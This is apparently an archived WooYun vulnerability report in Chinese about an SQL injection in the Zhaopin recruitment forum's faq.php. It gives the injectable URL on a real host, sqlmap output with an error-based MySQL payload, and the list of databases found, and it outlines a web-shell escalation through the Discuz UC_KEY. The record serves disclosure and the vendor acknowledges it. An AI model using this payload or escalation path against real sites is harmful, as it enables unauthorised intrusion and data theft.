漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-067025
漏洞标题:智联招聘论坛从sql注入漏洞到getshell(利用实例)
相关厂商:智联招聘
漏洞作者: 腰上有胸器
提交时间:2014-07-02 18:11
修复时间:2014-08-16 18:12
公开时间:2014-08-16 18:12
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-02: 细节已通知厂商并且等待厂商处理中
2014-07-03: 厂商已经确认,细节仅向厂商公开
2014-07-13: 细节向核心白帽子及相关领域专家公开
2014-07-23: 细节向普通白帽子公开
2014-08-02: 细节向实习白帽子公开
2014-08-16: 细节向公众公开
简要描述:
智联招聘#sql注入漏洞
详细说明:
http://bbs.zhaopin.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)
sqlmap identified the following injection points with a total of 743 HTTP(s) requests:
---
Place: GET
Parameter: gids[100][0]
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: action=grouppermission&gids[99]='&gids[100][0]=-3235) OR 1 GROUP BY CONCAT(0x7166736f71,(SELECT (CASE WHEN (4900=4900) THEN 1 ELSE 0 END)),0x7161676871,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web application technology: PHP 5.2.6, Apache
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: gids[100][0]
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: action=grouppermission&gids[99]='&gids[100][0]=-3235) OR 1 GROUP BY CONCAT(0x7166736f71,(SELECT (CASE WHEN (4900=4900) THEN 1 ELSE 0 END)),0x7161676871,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web application technology: PHP 5.2.6, Apache
back-end DBMS: MySQL 5
available databases [3]:
[*] discuz
[*] information_schema
[*] test
都知道这里有注入,那么如何更好的利用呢?
下面说一下getshell的方法:
得到uc_key
uc_key getshell
WooYun: Discuz的利用UC_KEY进行getshell
漏洞证明:
修复方案:
版权声明:转载请注明来源 腰上有胸器@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2014-07-03 08:47
厂商回复:
感谢你对智联招聘网站安全的关注,问题由第三方平台引起,问题处理中。
最新状态:
暂无